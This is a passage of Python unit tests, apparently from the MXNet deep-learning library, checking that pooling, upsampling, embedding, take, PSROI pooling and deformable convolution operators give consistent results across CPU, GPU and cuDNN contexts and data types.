return pad == (0,) * len(pad) # default stride is all ones def is_default_stride(stride): return stride == (1,) * len(stride) # returns True/False randomly with equal probability def random_choice(): return np.random.random(1)[0] < 0.5 def test_pooling_versions_helper(pool_op_list, data, kernel, pool_type, pad, stride, pooling_convention='valid', global_pool=False, p_value=2, count_include_pad=True, tol=None, dtype=np.float32): ctx_list = [] sym_list = [] for pool_ctx in pool_op_list: (pool_op, ctx_type) = pool_ctx.rsplit('_', 1) expected_ctxs = ['cpu', 'gpu', 'cudnn'] if ctx_type not in expected_ctxs: raise RuntimeError('Expected one of {}, saw {}.'.format(expected_ctxs, ctx_type)) ctx = mx.cpu(0) if ctx_type == 'cpu' else mx.gpu(0) ctx_list.append({'ctx': ctx, 'pool_data': data, 'type_dict': {'pool_data': dtype}}) # start with pool args present in all cases pool_op_args = {'kernel': kernel, 'pool_type': pool_type, 'pooling_convention' : pooling_convention, 'name' : 'pool'} # add other args as needed if global_pool: pool_op_args['global_pool'] = True else: # Add pad and stride param if needed, plus randomly when it matches the default if not is_default_pad(pad) or random_choice(): pool_op_args.update({'pad' : pad}) if not is_default_stride(stride) or random_choice(): pool_op_args.update({'stride' : stride}) expected_pool_ops = ['pool', 'pool_transposed'] pool_op_args.update({'p_value' : p_value, 'count_include_pad' : count_include_pad}) if ctx_type != 'cpu': pool_op_args['cudnn_off'] = ctx_type == 'gpu' if pool_op == 'pool': # isolate pooling input from symbol input to test shared tensor optimizations buffered_input = mx.sym.identity(name='pool') sym = mx.sym.Pooling(buffered_input, **pool_op_args) elif pool_op == 'pool_transposed': ndim = len(data) # NCW->NWC axes=(0,2,1) NCHW->NHWC axes=(0,2,3,1) NCDHW->NDHWC axes=(0,2,3,4,1); axes = (0,) + tuple(range(2,ndim)) + (1,) transposed = mx.sym.transpose(axes=axes, name='pool') pooled = mx.sym.Pooling(data=transposed, layout=transposed_layout(ndim), **pool_op_args) # NWC->NCW axes=(0,2,1) NHWC->NCHW axes=(0,3,1,2) NDHWC->NCDHW axes=(0,4,1,2,3); axes = (0, ndim-1) + tuple(range(1,ndim-1)) sym = mx.sym.transpose(data=pooled, axes=axes, name='pool') else: raise RuntimeError('Expected one of {}, saw {}.'.format(expected_pool_ops, pool_op)) sym_list.append(sym) check_consistency(sym_list, ctx_list, equal_nan=(not count_include_pad), rtol=tol, atol=tol) def test_pooling_dim(dim, pool_type, dtype, pool_op_list, p_value=2, count_include_pad=True, tol=None): if dim == '1D': data = (3, 3, 10) kernels = [(4,), (4,), (5,)] pads = [(0,), (2,), (2,)] strides = [(1,), (2,), (1,)] elif dim == '2D_no_padding': data = (3, 2, 20, 20) kernels = [(3, 3), (4, 5)] pads = [(0, 0), (0, 0)] strides = [(1, 1), (2, 1)] elif dim == '2D': data = (2, 2, 20, 20) kernels = [(3, 3), (3, 5), (4, 5), (4, 5)] pads = [(0, 0), (1, 2), (0, 0), (2, 3)] strides = [(1, 1), (1, 1), (2, 1), (1, 1)] elif dim == '3D': data = (2, 3, 20, 20, 20) kernels = [(4, 5, 3), (4, 5, 3), (3, 5, 7)] pads = [(0, 0, 0), (2, 3, 2), (1, 2, 3)] strides = [(1, 1, 1), (2, 3, 1), (1, 1, 1)] else: raise RuntimeError('Unexpected pooling test class: {}.'.format(dim)) for kernel, pad, stride in zip(kernels, pads, strides): for pooling_convention in ['valid', 'full']: try: test_pooling_versions_helper(pool_op_list=pool_op_list, data=data, kernel=kernel, pad=pad, stride=stride, pool_type=pool_type, pooling_convention=pooling_convention, global_pool=False, p_value=p_value, count_include_pad=count_include_pad, tol=tol, dtype=dtype) except: print('pool_op_list = {}'.format(pool_op_list)) print('kernel={}, pad={}, stride={}'.format(kernel, pad, stride)) print('pool_type={}, pooling_convention={}, global_pool=False'.format(pool_type, pooling_convention)) print('p_value={}, count_include_pad={}, dtype={}'.format(p_value, count_include_pad, dtype)) print('environ = \n{}'.format(os.environ)) raise # Make sure kernel is ignored during global_pool by sometimes setting it to a crazy value kernel = kernels[0] if random_choice(): kernel = (300,) * len(kernel) test_pooling_versions_helper(pool_op_list=pool_op_list, data=data, kernel=kernel, pad=None, stride=None, pool_type=pool_type, global_pool=True, p_value=p_value, count_include_pad=count_include_pad, tol=tol, dtype=dtype) # The various implementations of the standard pooling operator std_pool_op_list = ['pool_cpu', 'pool_transposed_cpu', 'pool_gpu', 'pool_transposed_gpu', 'pool_cudnn', 'pool_transposed_cudnn'] for dtype in [np.float32, np.float64, np.float16]: # Testing of the standard (not 'v1') pooling operator is universal across all # data dimensions, implementations and layouts. for dim in ['1D', '2D', '3D']: test_pooling_dim(dim, 'max', dtype, std_pool_op_list) test_pooling_dim(dim, 'avg', dtype, std_pool_op_list, count_include_pad=True) test_pooling_dim(dim, 'avg', dtype, std_pool_op_list, count_include_pad=False) test_pooling_dim(dim, 'sum', dtype, std_pool_op_list) test_pooling_dim(dim, 'lp', dtype, std_pool_op_list, p_value=1) test_pooling_dim(dim, 'lp', dtype, std_pool_op_list, p_value=2) test_pooling_dim(dim, 'lp', dtype, std_pool_op_list, p_value=3) def test_pooling_full_2d(): def test_pooling_full_2d_type(pool_type): data = (2, 2, 10, 10) kernel = (4, 5) pad = (1, 2) stride = (3, 4) convention = 'full' ctx_list = [] sym_list = [] # o_h = ceil((10 + 1 + 1 - 4) / 3) + 1 = 4 # o_w = ceil((10 + 2 + 2 - 5) / 4) + 1 = 4 ctx_list.append({'ctx': mx.cpu(0), 'pool_data': data, 'type_dict': {'pool_data': np.float32}}) sym_list.append(mx.sym.Pooling(kernel=kernel, pad=pad, stride=stride, pool_type=pool_type, pooling_convention=convention, global_pool=False, name='pool')) ctx_list.append({'ctx': mx.gpu(0), 'pool_data': data, 'type_dict': {'pool_data': np.float32}}) sym_list.append(mx.sym.Pooling(kernel=kernel, pad=pad, stride=stride, pool_type=pool_type, pooling_convention=convention, global_pool=False, name='pool')) check_consistency(sym_list, ctx_list) test_pooling_full_2d_type('max') test_pooling_full_2d_type('avg') test_pooling_full_2d_type('sum') @pytest.mark.serial def test_flatten_slice_after_conv(): ctx_list = [] data = mx.sym.Variable('conv_data') conv = mx.symbol.Convolution(data=data, name='conv', num_filter=16, kernel=(3,3), stride=(1,1)) flatten = mx.symbol.flatten(data=conv) slice_sym = mx.symbol.slice(data=flatten, begin=0, end=1) ctx_list = [{'ctx': mx.gpu(0), 'conv_data': (2, 16, 16, 16), 'type_dict': {'conv_data': np.float32}}, {'ctx': mx.cpu(0), 'conv_data': (2, 16, 16, 16), 'type_dict': {'conv_data': np.float32}}] check_consistency(slice_sym, ctx_list, scale=0.5) def test_bilinear_resize_op(): ctx_list = [{'ctx': mx.cpu(0), 'data': (2, 2, 20, 20), 'type_dict': {'data': np.float32}}, {'ctx': mx.gpu(0), 'data': (2, 2, 20, 20), 'type_dict': {'data': np.float32}}] data = mx.sym.Variable('data') sym = mx.sym.contrib.BilinearResize2D(data, height=10, width=5, align_corners=True) check_consistency(sym, ctx_list) sym = mx.sym.contrib.BilinearResize2D(data, height=10, width=5, align_corners=False) check_consistency(sym, ctx_list) sym = mx.sym.contrib.BilinearResize2D(data, None, scale_height=2, scale_width=0.5, mode='odd_scale', align_corners=True) check_consistency(sym, ctx_list) sym = mx.sym.contrib.BilinearResize2D(data, None, scale_height=2, scale_width=0.5, mode='odd_scale', align_corners=False) check_consistency(sym, ctx_list) sym = mx.sym.contrib.BilinearResize2D(data, None, scale_height=0.5, scale_width=2, mode='to_even_up', align_corners=True) check_consistency(sym, ctx_list) sym = mx.sym.contrib.BilinearResize2D(data, None, scale_height=0.5, scale_width=2, mode='to_even_up', align_corners=False) check_consistency(sym, ctx_list) @pytest.mark.serial def test_global_pooling(): def test_1d_pooling(pool_type, p_value=2): data = (2, 3, 20) kernel = (4,) pad = (2,) stride = (2,) ctx_list = [] sym_list = [] pooling_convention = 'valid' ctx_list.append({'ctx': mx.cpu(0), 'pool_data': data, 'type_dict': {'pool_data': np.float32}}) sym_list.append(mx.sym.Pooling(kernel=kernel, pad=pad, stride=stride, pool_type=pool_type, pooling_convention=pooling_convention, global_pool=True, name='pool', p_value=p_value)) ctx_list.append({'ctx': mx.cpu(0), 'pool_data': data, 'type_dict': {'pool_data': np.float32}}) sym_list.append(mx.sym.Pooling(kernel=kernel, pool_type=pool_type, pooling_convention=pooling_convention, global_pool=True, name='pool', p_value=p_value)) ctx_list.append({'ctx': mx.cpu(0), 'pool_data': data, 'type_dict': {'pool_data': np.float32}}) sym_list.append(mx.sym.Pooling(pool_type=pool_type, pooling_convention=pooling_convention, global_pool=True, name='pool', p_value=p_value)) ctx_list.append({'ctx': mx.gpu(0), 'pool_data': data, 'type_dict': {'pool_data': np.float32}}) sym_list.append(mx.sym.Pooling(kernel=kernel, pad=pad, stride=stride, pool_type=pool_type, pooling_convention=pooling_convention, global_pool=True, p_value=p_value, cudnn_off=False, name='pool')) ctx_list.append({'ctx': mx.gpu(0), 'pool_data': data, 'type_dict': {'pool_data': np.float32}}) sym_list.append(mx.sym.Pooling(kernel=kernel, pool_type=pool_type, pooling_convention=pooling_convention, global_pool=True, p_value=p_value, cudnn_off=False, name='pool')) ctx_list.append({'ctx': mx.gpu(0), 'pool_data': data, 'type_dict': {'pool_data': np.float32}}) sym_list.append(mx.sym.Pooling(pool_type=pool_type, pooling_convention=pooling_convention, global_pool=True, p_value=p_value, cudnn_off=False, name='pool')) ctx_list.append({'ctx': mx.gpu(0), 'pool_data': data, 'type_dict': {'pool_data': np.float32}}) sym_list.append(mx.sym.Pooling(kernel=kernel, pad=pad, stride=stride, pool_type=pool_type, pooling_convention=pooling_convention, global_pool=True, p_value=p_value, cudnn_off=True, name='pool')) ctx_list.append({'ctx': mx.gpu(0), 'pool_data': data, 'type_dict': {'pool_data': np.float32}}) sym_list.append(mx.sym.Pooling(kernel=kernel, pool_type=pool_type, pooling_convention=pooling_convention, global_pool=True, p_value=p_value, cudnn_off=True, name='pool')) ctx_list.append({'ctx': mx.gpu(0), 'pool_data': data, 'type_dict': {'pool_data': np.float32}}) sym_list.append(mx.sym.Pooling(pool_type=pool_type, pooling_convention=pooling_convention, global_pool=True, p_value=p_value, cudnn_off=True, name='pool')) check_consistency(sym_list, ctx_list) def test_2d_pooling(pool_type, p_value=2): data = (2, 3, 20, 20) kernel = (4, 4) pad = (2, 2) stride = (2, 2) ctx_list = [] sym_list = [] pooling_convention = 'valid' ctx_list.append({'ctx': mx.cpu(0), 'pool_data': data, 'type_dict': {'pool_data': np.float32}}) sym_list.append(mx.sym.Pooling(kernel=kernel, pad=pad, stride=stride, pool_type=pool_type, pooling_convention=pooling_convention, global_pool=True, p_value=p_value, name='pool')) ctx_list.append({'ctx': mx.cpu(0), 'pool_data': data, 'type_dict': {'pool_data': np.float32}}) sym_list.append(mx.sym.Pooling(kernel=kernel, pool_type=pool_type, pooling_convention=pooling_convention, global_pool=True, p_value=p_value, name='pool')) ctx_list.append({'ctx': mx.cpu(0), 'pool_data': data, 'type_dict': {'pool_data': np.float32}}) sym_list.append(mx.sym.Pooling(pool_type=pool_type, pooling_convention=pooling_convention, global_pool=True, p_value=p_value, name='pool')) ctx_list.append({'ctx': mx.gpu(0), 'pool_data': data, 'type_dict': {'pool_data': np.float32}}) sym_list.append(mx.sym.Pooling(kernel=kernel, pad=pad, stride=stride, pool_type=pool_type, pooling_convention=pooling_convention, global_pool=True, p_value=p_value, cudnn_off=False, name='pool')) ctx_list.append({'ctx': mx.gpu(0), 'pool_data': data, 'type_dict': {'pool_data': np.float32}}) sym_list.append(mx.sym.Pooling(kernel=kernel, pool_type=pool_type, pooling_convention=pooling_convention, global_pool=True, p_value=p_value, cudnn_off=False, name='pool')) ctx_list.append({'ctx': mx.gpu(0), 'pool_data': data, 'type_dict': {'pool_data': np.float32}}) sym_list.append(mx.sym.Pooling(pool_type=pool_type, pooling_convention=pooling_convention, global_pool=True, p_value=p_value, cudnn_off=False, name='pool')) ctx_list.append({'ctx': mx.gpu(0), 'pool_data': data, 'type_dict': {'pool_data': np.float32}}) sym_list.append(mx.sym.Pooling(kernel=kernel, pad=pad, stride=stride, pool_type=pool_type, pooling_convention=pooling_convention, global_pool=True, p_value=p_value, cudnn_off=True, name='pool')) ctx_list.append({'ctx': mx.gpu(0), 'pool_data': data, 'type_dict': {'pool_data': np.float32}}) sym_list.append(mx.sym.Pooling(kernel=kernel, pool_type=pool_type, pooling_convention=pooling_convention, global_pool=True, p_value=p_value, cudnn_off=True, name='pool')) ctx_list.append({'ctx': mx.gpu(0), 'pool_data': data, 'type_dict': {'pool_data': np.float32}}) sym_list.append(mx.sym.Pooling(pool_type=pool_type, pooling_convention=pooling_convention, global_pool=True, p_value=p_value, cudnn_off=True, name='pool')) check_consistency(sym_list, ctx_list) test_1d_pooling('max') test_1d_pooling('avg') test_1d_pooling('sum') test_1d_pooling('lp', p_value=1) test_1d_pooling('lp', p_value=2) test_1d_pooling('lp', p_value=3) test_2d_pooling('max') test_2d_pooling('avg') test_2d_pooling('sum') test_2d_pooling('lp', p_value=1) test_2d_pooling('lp', p_value=2) test_2d_pooling('lp', p_value=3) def test_upsampling_with_type(): sym = mx.sym.UpSampling(scale=2, num_filter=2, name='up', sample_type='nearest', num_args=1) ctx_list = [{'ctx': mx.gpu(0), 'up_arg0': (2, 2, 2, 10), 'type_dict': {'up_arg0': np.float64}}, {'ctx': mx.gpu(0), 'up_arg0': (2, 2, 2, 10), 'type_dict': {'up_arg0': np.float32}}, {'ctx': mx.gpu(0), 'up_arg0': (2, 2, 2, 10), 'type_dict': {'up_arg0': np.float16}}, {'ctx': mx.cpu(0), 'up_arg0': (2, 2, 2, 10), 'type_dict': {'up_arg0': np.float64}}, {'ctx': mx.cpu(0), 'up_arg0': (2, 2, 2, 10), 'type_dict': {'up_arg0': np.float32}}] check_consistency(sym, ctx_list) def test_upsampling_bilinear_with_type(): sym = mx.sym.UpSampling(scale=2, num_filter=2, name='up', sample_type='bilinear', num_args=1) ctx_list = [{'ctx': mx.gpu(0), 'up_data': (2, 2, 2, 10), 'type_dict': {'up_data': np.float64}}, {'ctx': mx.gpu(0), 'up_data': (2, 2, 2, 10), 'type_dict': {'up_data': np.float32}}, {'ctx': mx.gpu(0), 'up_data': (2, 2, 2, 10), 'type_dict': {'up_data': np.float16}}, {'ctx': mx.cpu(0), 'up_data': (2, 2, 2, 10), 'type_dict': {'up_data': np.float64}}, {'ctx': mx.cpu(0), 'up_data': (2, 2, 2, 10), 'type_dict': {'up_data': np.float32}}] check_consistency(sym, ctx_list) def test_concat_with_type(): sym = mx.sym.Concat(name='concat', num_args=2) ctx_list = [{'ctx': mx.gpu(0), 'concat_arg1': (2, 10), 'concat_arg0': (2, 10), 'type_dict': {'concat_arg0': np.float64, 'concat_arg1': np.float64}}, {'ctx': mx.gpu(0), 'concat_arg1': (2, 10), 'concat_arg0': (2, 10), 'type_dict': {'concat_arg0': np.float32, 'concat_arg1': np.float32}}, {'ctx': mx.gpu(0), 'concat_arg1': (2, 10), 'concat_arg0': (2, 10), 'type_dict': {'concat_arg0': np.float16, 'concat_arg1': np.float16}}, {'ctx': mx.cpu(0), 'concat_arg1': (2, 10), 'concat_arg0': (2, 10), 'type_dict': {'concat_arg0': np.float64, 'concat_arg1': np.float64}}, {'ctx': mx.cpu(0), 'concat_arg1': (2, 10), 'concat_arg0': (2, 10), 'type_dict': {'concat_arg0': np.float32, 'concat_arg1': np.float32}}] check_consistency(sym, ctx_list) def test_elementwisesum_with_type(): dev_types = [[mx.gpu(0), [np.float64, np.float32, np.float16]], [mx.cpu(0), [np.float64, np.float32]] ] for num_args in range(1, 6): ews_arg_shape = {} for i in range(num_args): ews_arg_shape['ews_arg'+str(i)] = (2, 10) sym = mx.sym.ElementWiseSum(name='ews', num_args=num_args) ctx_list = [] for dev, types in dev_types: for dtype in types: ews_arg_dtype = {'type_dict':{}} for i in range(num_args): ews_arg_dtype['type_dict']['ews_arg'+str(i)] = dtype ctx_elem = {'ctx': dev} ctx_elem.update(ews_arg_shape) ctx_elem.update(ews_arg_dtype) ctx_list.append(ctx_elem) check_consistency(sym, ctx_list) def test_reshape_with_type(): sym = mx.sym.Reshape(name='reshape', shape=(-1,1,1,0)) ctx_list = [{'ctx': mx.gpu(0), 'reshape_data': (2, 2, 2, 10), 'type_dict': {'reshape_data': np.float64}}, {'ctx': mx.gpu(0), 'reshape_data': (2, 2, 2, 10), 'type_dict': {'reshape_data': np.float32}}, {'ctx': mx.gpu(0), 'reshape_data': (2, 2, 2, 10), 'type_dict': {'reshape_data': np.float16}}, {'ctx': mx.cpu(0), 'reshape_data': (2, 2, 2, 10), 'type_dict': {'reshape_data': np.float64}}, {'ctx': mx.cpu(0), 'reshape_data': (2, 2, 2, 10), 'type_dict': {'reshape_data': np.float32}}] check_consistency(sym, ctx_list) def test_blockgrad_with_type(): sym = mx.sym.BlockGrad(name='bg') ctx_list = [{'ctx': mx.gpu(0), 'bg_data': (2, 2, 2, 10), 'type_dict': {'bg_data': np.float64}}, {'ctx': mx.gpu(0), 'bg_data': (2, 2, 2, 10), 'type_dict': {'bg_data': np.float32}}, {'ctx': mx.gpu(0), 'bg_data': (2, 2, 2, 10), 'type_dict': {'bg_data': np.float16}}, {'ctx': mx.cpu(0), 'bg_data': (2, 2, 2, 10), 'type_dict': {'bg_data': np.float64}}, {'ctx': mx.cpu(0), 'bg_data': (2, 2, 2, 10), 'type_dict': {'bg_data': np.float32}}] check_consistency(sym, ctx_list) def test_swapaxis_with_type(): sym = mx.sym.SwapAxis(name='swap', dim1=1) ctx_list = [{'ctx': mx.gpu(0), 'swap_data': (2, 2, 2, 10), 'type_dict': {'swap_data': np.float64}}, {'ctx': mx.gpu(0), 'swap_data': (2, 2, 2, 10), 'type_dict': {'swap_data': np.float32}}, {'ctx': mx.gpu(0), 'swap_data': (2, 2, 2, 10), 'type_dict': {'swap_data': np.float16}}, {'ctx': mx.cpu(0), 'swap_data': (2, 2, 2, 10), 'type_dict': {'swap_data': np.float64}}, {'ctx': mx.cpu(0), 'swap_data': (2, 2, 2, 10), 'type_dict': {'swap_data': np.float32}}] check_consistency(sym, ctx_list) def test_fullyconnected_with_type(): sym = mx.sym.FullyConnected(num_hidden=3, name='inner') ctx_list = [{'ctx': mx.gpu(0), 'inner_data': (2, 10), 'type_dict': {'inner_data': np.float64}}, {'ctx': mx.gpu(0), 'inner_data': (2, 10), 'type_dict': {'inner_data': np.float32}}, {'ctx': mx.gpu(0), 'inner_data': (2, 10), 'type_dict': {'inner_data': np.float16}}, {'ctx': mx.cpu(0), 'inner_data': (2, 10), 'type_dict': {'inner_data': np.float64}}, {'ctx': mx.cpu(0), 'inner_data': (2, 10), 'type_dict': {'inner_data': np.float32}}] check_consistency(sym, ctx_list) # Sizes are divisible by 8 to test TensorCore on Volta GPU. sym = mx.sym.FullyConnected(num_hidden=8, name='inner') ctx_list = [{'ctx': mx.gpu(0), 'inner_data': (16, 24), 'type_dict': {'inner_data': np.float16}}, {'ctx': mx.cpu(0), 'inner_data': (16, 24), 'type_dict': {'inner_data': np.float32}}] check_consistency(sym, ctx_list) def test_activation_with_type(): act_types = ['relu', 'sigmoid', 'tanh', 'softrelu', 'softsign'] shape = (2, 2, 10, 10) for act_type in act_types: sym = mx.sym.Activation(name='act', act_type=act_type) ctx_list = [{'ctx': mx.gpu(0), 'act_data': shape, 'type_dict': {'act_data': np.float64}}, {'ctx': mx.gpu(0), 'act_data': shape, 'type_dict': {'act_data': np.float32}}, {'ctx': mx.gpu(0), 'act_data': shape, 'type_dict': {'act_data': np.float16}}, {'ctx': mx.cpu(0), 'act_data': shape, 'type_dict': {'act_data': np.float64}}, {'ctx': mx.cpu(0), 'act_data': shape, 'type_dict': {'act_data': np.float32}}, {'ctx': mx.cpu(0), 'act_data': shape, 'type_dict': {'act_data': np.float16}}] check_consistency(sym, ctx_list) def test_lrn(): sym = mx.sym.LRN(alpha=0.0001, beta=0.75, knorm=2, nsize=5, name='lrn') ctx_list = [{'ctx': mx.gpu(0), 'lrn_data': (2, 6, 10, 10), 'type_dict': {'lrn_data': np.float32}}, {'ctx': mx.cpu(0), 'lrn_data': (2, 6, 10, 10), 'type_dict': {'lrn_data': np.float32}}] check_consistency(sym, ctx_list) @pytest.mark.skipif(os.environ.get('MXNET_ENGINE_TYPE') == 'NaiveEngine', reason="Testing with naive engine consistently triggers illegal memory access. Tracked in #17713") def test_embedding_with_type(): def test_embedding_helper(data_types, weight_types, low_pad, high_pad): NVD = [[20, 10, 20], [200, 10, 300], [10000, 4, 20]] for safe_accumulation in ['0', '1', None]: for N, V, D in NVD: with environment('MXNET_SAFE_ACCUMULATION', safe_accumulation): if N > 1000 and safe_accumulation != '1': break sym = mx.sym.Embedding(name='embedding', input_dim=V, output_dim=D) ctx_list = [] for data_type in data_types: for weight_type in weight_types: ctx_list.append({'ctx': mx.gpu(0), 'embedding_data': (N,), 'type_dict': {'embedding_data': data_type, 'embedding_weight': weight_type}}) ctx_list.append({'ctx': mx.cpu(0), 'embedding_data': (N,), 'type_dict': {'embedding_data': data_type, 'embedding_weight': weight_type}}) arg_params = {'embedding_data': np.random.randint(low=-low_pad, high=V+high_pad, size=(N,))} check_consistency(sym, ctx_list, grad_req={'embedding_data': 'null','embedding_weight': 'write'}, arg_params=arg_params, scale=0.1) data_types = [np.float16, np.float32, np.float64, np.int32] weight_types = [np.float16, np.float32, np.float64] test_embedding_helper(data_types, weight_types, 5, 5) data_types = [np.uint8] weight_types = [np.float16, np.float32, np.float64] test_embedding_helper(data_types, weight_types, 0, 5) def test_take_with_type(): sym = mx.sym.take(name='take') for safe_accumulation in ['0', '1', None]: for data_ndim in range(2, 5): for idx_ndim in range(1, 4): data_shape = () for _ in range(data_ndim): data_shape += (np.random.randint(low=3, high=6), ) idx_shape = () for _ in range(idx_ndim): idx_shape += (np.random.randint(low=3, high=5), ) ctx_list = [{'ctx': mx.gpu(0), 'take_indices': idx_shape, 'take_a': data_shape, 'type_dict': {'take_indices': np.float64, 'take_a': np.float64}}, {'ctx': mx.gpu(0), 'take_indices': idx_shape, 'take_a': data_shape, 'type_dict': {'take_indices': np.float32, 'take_a': np.float32}}, {'ctx': mx.gpu(0), 'take_indices': idx_shape, 'take_a': data_shape, 'type_dict': {'take_indices': np.float16, 'take_a': np.float16}}, {'ctx': mx.cpu(0), 'take_indices': idx_shape, 'take_a': data_shape, 'type_dict': {'take_indices': np.float64, 'take_a': np.float64}}, {'ctx': mx.cpu(0), 'take_indices': idx_shape, 'take_a': data_shape, 'type_dict': {'take_indices': np.float32, 'take_a': np.float32}}, {'ctx': mx.cpu(0), 'take_indices': idx_shape, 'take_a': data_shape, 'type_dict': {'take_indices': np.float16, 'take_a': np.float16}}] arg_params = {'take_indices': np.random.randint(low=0, high=data_shape[0], size=idx_shape), 'take_a': np.random.normal(size=data_shape)} with environment('MXNET_SAFE_ACCUMULATION', safe_accumulation): check_consistency(sym, ctx_list, grad_req={'take_indices': 'null', 'take_a': 'write'}, arg_params=arg_params) # check a large num of indices: may underflow calculating gradient in FP16, # if MXNET_SAFE_ACCUMULATION is not activated with environment('MXNET_SAFE_ACCUMULATION', '1'): data_size = 4 indices_size = 10000 out_dim = 20 data_types = [np.float16, np.float32, np.float64] indices_types = [np.float16, np.float32, np.float64, np.int32] # axis 0 sym = mx.sym.take(name='take', axis=0) ctx_list = [] for data_type in data_types: for index_type in indices_types: ctx_list.append({'ctx': mx.cpu(0), 'take_indices': (indices_size,), 'take_a': (data_size, out_dim), 'type_dict': {'take_indices': index_type, 'take_a': data_type}}) ctx_list.append({'ctx': mx.gpu(0), 'take_indices': (indices_size,), 'take_a': (data_size, out_dim), 'type_dict': {'take_indices': index_type, 'take_a': data_type}}) arg_params = {'take_indices': np.random.randint(0, data_size, size=(indices_size,)), 'take_a': np.random.normal(size=(data_size, out_dim))} check_consistency(sym, ctx_list, grad_req={'take_indices': 'null','take_a': 'write'}, arg_params=arg_params) # axis 1 sym = mx.sym.take(name='take', axis=1) ctx_list = [] for data_type in data_types: for index_type in indices_types: ctx_list.append({'ctx': mx.cpu(0), 'take_indices': (indices_size,), 'take_a': (data_size, out_dim), 'type_dict': {'take_indices': index_type, 'take_a': data_type}}) ctx_list.append({'ctx': mx.gpu(0), 'take_indices': (indices_size,), 'take_a': (data_size, out_dim), 'type_dict': {'take_indices': index_type, 'take_a': data_type}}) arg_params = {'take_indices': np.random.randint(0, data_size, size=(indices_size,)), 'take_a': np.random.normal(size=(data_size, out_dim))} check_consistency(sym, ctx_list, grad_req={'take_indices': 'null','take_a': 'write'}, arg_params=arg_params) @pytest.mark.serial def test_psroipooling_with_type(): arg_params = { 'psroipool_rois': np.array([[0, 10, 22, 161, 173], [0, 20, 15, 154, 160]])} # plain psroipooling sym = mx.sym.contrib.PSROIPooling(spatial_scale=0.0625, output_dim=2, pooled_size=3, name='psroipool') ctx_list = [{'ctx': mx.gpu(0), 'psroipool_data': (1, 18, 14, 14), 'psroipool_rois': (2, 5), 'type_dict': {'psroipool_data': np.float64, 'psroipool_rois': np.float64}}, {'ctx': mx.gpu(0), 'psroipool_data': (1, 18, 14, 14), 'psroipool_rois': (2, 5), 'type_dict': {'psroipool_data': np.float32, 'psroipool_rois': np.float32}}, {'ctx': mx.gpu(0), 'psroipool_data': (1, 18, 14, 14), 'psroipool_rois': (2, 5), 'type_dict': {'psroipool_data': np.float16, 'psroipool_rois': np.float16}}, ] check_consistency(sym, ctx_list, grad_req={'psroipool_data': 'write', 'psroipool_rois': 'null'}, arg_params=arg_params) @pytest.mark.serial def test_deformable_psroipooling_with_type(): tol = {np.dtype(np.float32): 1e-1, np.dtype(np.float64): 1e-3, np.dtype(np.float16): 1e-2} arg_params = { 'deformable_psroipool_rois': np.array([[0, 10, 22, 161, 173], [0, 20, 15, 154, 160]])} # deformable psroipooling sym = mx.sym.contrib.DeformablePSROIPooling(spatial_scale=0.0625, sample_per_part=4, group_size=3, pooled_size=3, output_dim=2, trans_std=0.1, no_trans=False, name='deformable_psroipool') ctx_list = [{'ctx': mx.gpu(0), 'deformable_psroipool_data': (1, 18, 14, 14), 'deformable_psroipool_rois': (2, 5), 'deformable_psroipool_trans': (2, 4, 3, 3), 'type_dict': {'deformable_psroipool_data': np.float64, 'deformable_psroipool_rois': np.float64, 'deformable_psroipool_trans': np.float64}}, {'ctx': mx.gpu(0), 'deformable_psroipool_data': (1, 18, 14, 14), 'deformable_psroipool_rois': (2, 5), 'deformable_psroipool_trans': (2, 4, 3, 3), 'type_dict': {'deformable_psroipool_data': np.float32, 'deformable_psroipool_rois': np.float32, 'deformable_psroipool_trans': np.float32}}, {'ctx': mx.gpu(0), 'deformable_psroipool_data': (1, 18, 14, 14), 'deformable_psroipool_rois': (2, 5), 'deformable_psroipool_trans': (2, 4, 3, 3), 'type_dict': {'deformable_psroipool_data': np.float16, 'deformable_psroipool_rois': np.float16, 'deformable_psroipool_trans': np.float16}}, {'ctx': mx.cpu(0), 'deformable_psroipool_data': (1, 18, 14, 14), 'deformable_psroipool_rois': (2, 5), 'deformable_psroipool_trans': (2, 4, 3, 3), 'type_dict': {'deformable_psroipool_data': np.float64, 'deformable_psroipool_rois': np.float64, 'deformable_psroipool_trans': np.float64}}, {'ctx': mx.cpu(0), 'deformable_psroipool_data': (1, 18, 14, 14), 'deformable_psroipool_rois': (2, 5), 'deformable_psroipool_trans': (2, 4, 3, 3), 'type_dict': {'deformable_psroipool_data': np.float32, 'deformable_psroipool_rois': np.float32, 'deformable_psroipool_trans': np.float32}}, {'ctx': mx.cpu(0), 'deformable_psroipool_data': (1, 18, 14, 14), 'deformable_psroipool_rois': (2, 5), 'deformable_psroipool_trans': (2, 4, 3, 3), 'type_dict': {'deformable_psroipool_data': np.float16, 'deformable_psroipool_rois': np.float16, 'deformable_psroipool_trans': np.float16}}, ] check_consistency(sym, ctx_list, scale=0.1, rtol=tol, atol=tol, grad_req={'deformable_psroipool_data': 'write', 'deformable_psroipool_rois': 'null', 'deformable_psroipool_trans': 'write'}, arg_params=arg_params) @pytest.mark.serial def test_deformable_convolution_with_type(): tol = {np.dtype(np.float32): 1e-1, np.dtype(np.float64): 1e-3} sym = mx.sym.npx.deformable_convolution(num_filter=3, kernel=(3,3), name='deformable_conv') # since atomicAdd does not support fp16 (which deformable conv uses in backward), we do not test fp16 here ctx_list = [{'ctx': mx.gpu(0), 'deformable_conv_data': (2, 2, 10, 10), 'deformable_conv_offset': (2, 18, 8, 8), 'type_dict': {'deformable_conv_data': np.float64, 'deformable_conv_offset': np.float64}}, {'ctx': mx.gpu(0), 'deformable_conv_data': (2, 2, 10, 10), 'deformable_conv_offset': (2, 18, 8, 8), 'type_dict': {'deformable_conv_data': np.float32, 'deformable_conv_offset': np.float32}}, {'ctx': mx.cpu(0), 'deformable_conv_data': (2, 2, 10, 10), 'deformable_conv_offset': (2, 18, 8, 8), 'type_dict': {'deformable_conv_data': np.float64, 'deformable_conv_offset': np.float64}}, {'ctx': mx.cpu(0), 'deformable_conv_data': (2, 2, 10, 10), 'deformable_conv_offset': (2, 18, 8, 8), 'type_dict': {'deformable_conv_data': np.float32, 'deformable_conv_offset': np.float32}}, ] check_consistency(sym, ctx_list, scale=0.1, rtol=tol, atol=tol) # test ability to turn off training on bias check_consistency(sym, ctx_list, scale=0.1, rtol=tol, atol=tol, grad_req={'deformable_conv_data': 'write', 'deformable_conv_offset': 'write', 'deformable_conv_weight': 'write', 'deformable_conv_bias': 'null'}) def test_deformable_convolution_options(): tol = {np.dtype(np.float32): 1e-1, np.dtype(np.float64): 1e-3} # 2D convolution # since atomicAdd does not support fp16 (which deformable conv uses in backward), we do not test fp16 here # Pad > 0 ctx_list = [{'ctx': mx.gpu(0), 